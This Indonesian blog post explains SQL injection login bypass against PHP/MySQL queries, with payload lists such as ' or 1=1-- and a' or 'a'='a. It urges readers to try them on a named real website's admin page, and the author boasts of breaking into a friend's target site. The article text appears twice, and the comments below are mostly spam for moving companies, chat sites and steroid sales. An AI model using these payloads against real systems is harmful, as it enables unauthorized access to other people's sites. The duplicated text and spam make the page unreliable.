SQL Injection::Login Bypass
—
Tuesday, 27 March 2012
—
17 Comments
—
Hacking
SQL Injection::Login Bypass
kemarin saya di ingatkan lagi dengan teknik sql injection yang sudah cukup lama. namun cukup ampuh dan tetap menjadi favorite saya sebelum melakukan exploit database. yaitu Login Bypass. teknik yg layak di coba, dan dengan sedikit keberuntungan kita tidak perlu exploitasi database yang memakan waktu cukup lama. walau demikian, teknik ini semakin dilupakan oleh anak2 muda sekarang ini.
Kemarin, aq iseng maen2 di sekuriti.code.web.id, daripada ngantuk. dan mencoba menyelesaikan misi basic yg cukup mudah dan menyenangkan, lumayan untuk menahan ngantuk. kalau gak salah di misi 9, saya menggunakan teknik ini dan berhasil. Kemudian kemarin temen saya mengatakan kesulitan mengexploitasi sebuah situs yg dia ingin masuk. dia minta bantuan untuk masuk ke sistem admin nya. setelah dia memberikan bug, saya gak langsung mencoba bug tersebut. pertama saya mencoba langsung bypass admin page. dan ternyata masuk.
di artikel kali ini saya mencoba menjelaskan dengan nalar dan bahasa saya sendiri, karena saya kurang pinter berbahasa indonesia, jadi harap maklum kalau bahasanya jelek. :ngakak:
sekarang, mari kita coba pada perakport.co.id/admin. login dengan user ' or 1=1-- dengan password yg sama. maka kita akan di bawa ke halaman administrator. karena login kita berhasil. yep. bagaimana ini bisa terjadi?
berikut contoh sebuah command login.
Code: [Select]
$query = "select * from user where username='".$_POST['user']."' AND password='".md5($_POST['pass'])."'";
pada login yang valid (dari admin beneran), query akan menjadi seperti ini:
Code: [Select]
$query = "select * from user where username='admin' AND password='dlfjoew8r509ewrjeowru94efjlsj'";
query tersebut benar, dan benar2 melakukan pengecekan apakah user admin dengan password dlfjoew8r509ewrjeowru94efjlsj ada di database. jika tidak ada, return false dan tidak bisa login. jika ada, return true dan login.
Code: [Select]
username='admin' AND password='dlfjoew8r509ewrjeowru94efjlsj'
kedua hal tersebut adalah statement yg di cek oleh query mysql.
namun ternyata pengecekan tersebut bisa di lewati dengan membuat query memberikan return true. kita hanya perlu membuat query selalu memberikan nilai benar. salah satu yg bisa kita lakukan adalah dengan menambahkan statement OR dengan statement yg memberikan return true. misal 1=1
Code: [Select]
OR 1=1
sehingga, kita perlu membuat query menjadi seperti ini :
Code: [Select]
$query = "select * from user where username='admin' OR 1=1 AND password='dlfjoew8r509ewrjeowru94efjlsj' OR 1=1";
sehingga, user yg perlu kita masukan adalah : admin' OR 1=1
beberapa admin yg cukup pintar, sudah membuat script query nya lengkap dengan tnda petik untuk menghindari error.
Code: [Select]
$query = "select * from user where username='".$_POST['user']."' AND password='".md5($_POST['pass'])."'";
sehingga, dengan user : admin' OR 1=1 query akan menjadi seperti ini:
Code: [Select]
$query = "select * from user where username='admin' OR 1=1' AND password='".md5($_POST['pass'])."'";
apa yg terjadi? query error karena kelebihan 1 tanda petik (lihat di belakang angka 1). dan tentu saja return yg di berikan tidak akan true. otomatis login gagal. untuk itu, kita perlu men-terminate script query tersebut. yaitu dengan memberikan comment mysql: --
Sehingga, user yg bisa kita masukkan adalah: admin' or 1=1--
Code: [Select]
$query = "select * from user where username='admin' or 1=1--' AND password='".md5($_POST['pass'])."'";
dengan demikian, pengecekan di belakang coment akan di lewati. dan return dari query akan selalu true. perhatikan hukum logika berikut pada argument AND:
Code: [Select]
true AND true = true
true AND false = false
false AND false = false
false AND true = false
"AND" membandingkan true dengan true. jika kedua terbanding bernilai true, maka return true. jika salah satu atau kedua nya false, maka return false.
namun, berbeda dengan OR.
Code: [Select]
true OR true = true
true OR false = true
false OR true = true
false OR false = false
jika salah satu TRUE, maka return akan memberikan TRUE.
nah, perhatikan query setellah di inject:
Code: [Select]
$query = "select * from user where username='admin' or 1=1--' AND password='".md5($_POST['pass'])."'";
1=1 ----> true
admin OR true = true
walapun user admin tidak pernah ada, maka query akan selalu memberikan nilai true, karena 1=1 adalah benar (true).
kita bisa tanpa memberikan username sama sekali. sehingga injeksi akan menjadi seperti ini jika kita menggunakan username dan password yg sama : ' or 1=1--
Code: [Select]
$query = "select * from user where username='' or 1=1--' AND password='' or 1=1--'";
hal yg perlu kita perhatikan untuk bypass login adalah nilai true yg di keluarkan dan tidak terjadinya error pada script. sehingga penggunaan tanda baca sangat fatal pada injeksi seperti ini.
dengan memperhatikan output nilai true dan script berjalan dengan benar (tanpa error), kita bisa mencoba berbagai variasi username dan password untuk bisa login. misal
Code: [Select]
a' or 'a'='a
dengan demikian, kita telah memanipulasi query menjadi seperti ini:
Code: [Select]
$query = "select * from user where username='a' or 'a'='a' AND password='a' or 'a'='a'";
tidak ada tanda kutip yang tidak tertutup, sehingga query berjalan lancar. statement OR memberikan nilai true, karena 'a'='a' adalah benar. mysql query memang sangat peka terhadap tanda petik. jangan ada tanda petik yg tidak tertutup.
berbagai variasi injeksi login seperti berikut:
Code: [Select]
' or 1=1
' or '1'='1'
1' or 1=1
1' or '1'='1'
' or 'z'='z
dll, sesuai kreasi kita.
beberapa admin ada yg biasa menggunakan petik ganda dalam codingnya.
Code: [Select]
$query = 'select * from user where username="admin" or 1=1-- AND password="'.md5($_POST["pass"]).'"';
hal tersebut sah sah aja, karena penggunaan tanda baca masih tepat. dengan demikian, injeksi akan sedikit berubah.
Code: [Select]
" or 1=1
" or "1"="1
a" or "a"="a
" or "a"="a
pengethuan tentang query mysql sangat penting dalam hal ini. sehingga kita bisa memanipulasi, memainkan injeksi untuk membypass login admin. karena, administrator biasanya berbeda orang berbeda pula cara coding. sehingga berbagai variasi injeksi akan sangat mungkin terjadi.
(exploer crew)
kemarin saya di ingatkan lagi dengan teknik sql injection yang sudah cukup lama. namun cukup ampuh dan tetap menjadi favorite saya sebelum melakukan exploit database. yaitu Login Bypass. teknik yg layak di coba, dan dengan sedikit keberuntungan kita tidak perlu exploitasi database yang memakan waktu cukup lama. walau demikian, teknik ini semakin dilupakan oleh anak2 muda sekarang ini.
Kemarin, aq iseng maen2 di sekuriti.code.web.id, daripada ngantuk. dan mencoba menyelesaikan misi basic yg cukup mudah dan menyenangkan, lumayan untuk menahan ngantuk. kalau gak salah di misi 9, saya menggunakan teknik ini dan berhasil. Kemudian kemarin temen saya mengatakan kesulitan mengexploitasi sebuah situs yg dia ingin masuk. dia minta bantuan untuk masuk ke sistem admin nya. setelah dia memberikan bug, saya gak langsung mencoba bug tersebut. pertama saya mencoba langsung bypass admin page. dan ternyata masuk.
di artikel kali ini saya mencoba menjelaskan dengan nalar dan bahasa saya sendiri, karena saya kurang pinter berbahasa indonesia, jadi harap maklum kalau bahasanya jelek. :ngakak:
sekarang, mari kita coba pada perakport.co.id/admin. login dengan user ' or 1=1-- dengan password yg sama. maka kita akan di bawa ke halaman administrator. karena login kita berhasil. yep. bagaimana ini bisa terjadi?
berikut contoh sebuah command login.
Code: [Select]
$query = "select * from user where username='".$_POST['user']."' AND password='".md5($_POST['pass'])."'";
pada login yang valid (dari admin beneran), query akan menjadi seperti ini:
Code: [Select]
$query = "select * from user where username='admin' AND password='dlfjoew8r509ewrjeowru94efjlsj'";
query tersebut benar, dan benar2 melakukan pengecekan apakah user admin dengan password dlfjoew8r509ewrjeowru94efjlsj ada di database. jika tidak ada, return false dan tidak bisa login. jika ada, return true dan login.
Code: [Select]
username='admin' AND password='dlfjoew8r509ewrjeowru94efjlsj'
kedua hal tersebut adalah statement yg di cek oleh query mysql.
namun ternyata pengecekan tersebut bisa di lewati dengan membuat query memberikan return true. kita hanya perlu membuat query selalu memberikan nilai benar. salah satu yg bisa kita lakukan adalah dengan menambahkan statement OR dengan statement yg memberikan return true. misal 1=1
Code: [Select]
OR 1=1
sehingga, kita perlu membuat query menjadi seperti ini :
Code: [Select]
$query = "select * from user where username='admin' OR 1=1 AND password='dlfjoew8r509ewrjeowru94efjlsj' OR 1=1";
sehingga, user yg perlu kita masukan adalah : admin' OR 1=1
beberapa admin yg cukup pintar, sudah membuat script query nya lengkap dengan tnda petik untuk menghindari error.
Code: [Select]
$query = "select * from user where username='".$_POST['user']."' AND password='".md5($_POST['pass'])."'";
sehingga, dengan user : admin' OR 1=1 query akan menjadi seperti ini:
Code: [Select]
$query = "select * from user where username='admin' OR 1=1' AND password='".md5($_POST['pass'])."'";
apa yg terjadi? query error karena kelebihan 1 tanda petik (lihat di belakang angka 1). dan tentu saja return yg di berikan tidak akan true. otomatis login gagal. untuk itu, kita perlu men-terminate script query tersebut. yaitu dengan memberikan comment mysql: --
Sehingga, user yg bisa kita masukkan adalah: admin' or 1=1--
Code: [Select]
$query = "select * from user where username='admin' or 1=1--' AND password='".md5($_POST['pass'])."'";
dengan demikian, pengecekan di belakang coment akan di lewati. dan return dari query akan selalu true. perhatikan hukum logika berikut pada argument AND:
Code: [Select]
true AND true = true
true AND false = false
false AND false = false
false AND true = false
"AND" membandingkan true dengan true. jika kedua terbanding bernilai true, maka return true. jika salah satu atau kedua nya false, maka return false.
namun, berbeda dengan OR.
Code: [Select]
true OR true = true
true OR false = true
false OR true = true
false OR false = false
jika salah satu TRUE, maka return akan memberikan TRUE.
nah, perhatikan query setellah di inject:
Code: [Select]
$query = "select * from user where username='admin' or 1=1--' AND password='".md5($_POST['pass'])."'";
1=1 ----> true
admin OR true = true
walapun user admin tidak pernah ada, maka query akan selalu memberikan nilai true, karena 1=1 adalah benar (true).
kita bisa tanpa memberikan username sama sekali. sehingga injeksi akan menjadi seperti ini jika kita menggunakan username dan password yg sama : ' or 1=1--
Code: [Select]
$query = "select * from user where username='' or 1=1--' AND password='' or 1=1--'";
hal yg perlu kita perhatikan untuk bypass login adalah nilai true yg di keluarkan dan tidak terjadinya error pada script. sehingga penggunaan tanda baca sangat fatal pada injeksi seperti ini.
dengan memperhatikan output nilai true dan script berjalan dengan benar (tanpa error), kita bisa mencoba berbagai variasi username dan password untuk bisa login. misal
Code: [Select]
a' or 'a'='a
dengan demikian, kita telah memanipulasi query menjadi seperti ini:
Code: [Select]
$query = "select * from user where username='a' or 'a'='a' AND password='a' or 'a'='a'";
tidak ada tanda kutip yang tidak tertutup, sehingga query berjalan lancar. statement OR memberikan nilai true, karena 'a'='a' adalah benar. mysql query memang sangat peka terhadap tanda petik. jangan ada tanda petik yg tidak tertutup.
berbagai variasi injeksi login seperti berikut:
Code: [Select]
' or 1=1
' or '1'='1'
1' or 1=1
1' or '1'='1'
' or 'z'='z
dll, sesuai kreasi kita.
beberapa admin ada yg biasa menggunakan petik ganda dalam codingnya.
Code: [Select]
$query = 'select * from user where username="admin" or 1=1-- AND password="'.md5($_POST["pass"]).'"';
hal tersebut sah sah aja, karena penggunaan tanda baca masih tepat. dengan demikian, injeksi akan sedikit berubah.
Code: [Select]
" or 1=1
" or "1"="1
a" or "a"="a
" or "a"="a
pengethuan tentang query mysql sangat penting dalam hal ini. sehingga kita bisa memanipulasi, memainkan injeksi untuk membypass login admin. karena, administrator biasanya berbeda orang berbeda pula cara coding. sehingga berbagai variasi injeksi akan sangat mungkin terjadi.
(exploer crew)
masih gk ngerti aq mas
ReplyDeletemasih gk ngerti aq mas
ReplyDeletepasti cuman copas aja neh si admin...
ReplyDeletewkwkwk
ReplyDeletekudu di pelajari lebih lanjut wkwk..
ReplyDeleteKupastrik.com
Kocaeli
ReplyDeleteDenizli
Bursa
istanbul
Van
OH1T21
bitlis
ReplyDeletekastamonu
çorum
van
sakarya
WPQ
uşak
ReplyDeletevan
hakkari
elazığ
bingöl
U8OMJ
ankara parça eşya taşıma
ReplyDeletetakipçi satın al
antalya rent a car
antalya rent a car
ankara parça eşya taşıma
5R8O
AB366
ReplyDeleteDiyarbakır Lojistik
Antep Lojistik
Kayseri Parça Eşya Taşıma
Bolu Parça Eşya Taşıma
Bartın Evden Eve Nakliyat
E78A9
ReplyDeleteKayseri Evden Eve Nakliyat
Siirt Lojistik
Mersin Evden Eve Nakliyat
Bilecik Parça Eşya Taşıma
Kütahya Evden Eve Nakliyat
CEAFA
ReplyDeletesustanon
buy parabolan
pharmacy steroids for sale
trenbolone enanthate
https://steroidsbuy.net/steroids/
steroid cycles for sale
testosterone propionat for sale
Denizli Evden Eve Nakliyat
Kocaeli Evden Eve Nakliyat
61282
ReplyDeleteArdahan Parça Eşya Taşıma
Hatay Şehir İçi Nakliyat
Kırşehir Lojistik
Çerkezköy Asma Tavan
Pancakeswap Güvenilir mi
Rize Evden Eve Nakliyat
Burdur Şehirler Arası Nakliyat
Hatay Şehirler Arası Nakliyat
Muş Şehir İçi Nakliyat
13E38
ReplyDeletebinance kod
A2421
ReplyDeletetunceli yabancı görüntülü sohbet siteleri
manisa bedava sohbet odaları
adıyaman görüntülü sohbet uygulama
bilecik bedava görüntülü sohbet
erzincan görüntülü sohbet yabancı
elazığ mobil sohbet chat
manisa sesli sohbet mobil
tunceli canlı sohbet siteleri ücretsiz
kocaeli en iyi sesli sohbet uygulamaları
21FF0
ReplyDeleteUrfa Görüntülü Sohbet
Osmaniye Tamamen Ücretsiz Sohbet Siteleri
muş telefonda canlı sohbet
hakkari kadınlarla sohbet et
trabzon kadınlarla görüntülü sohbet
ücretsiz sohbet uygulamaları
görüntülü sohbet ücretsiz
bedava sohbet chat odaları
igdir rastgele sohbet odaları
ZDSVFDGV
ReplyDeleteتسليك مجاري بالقطيف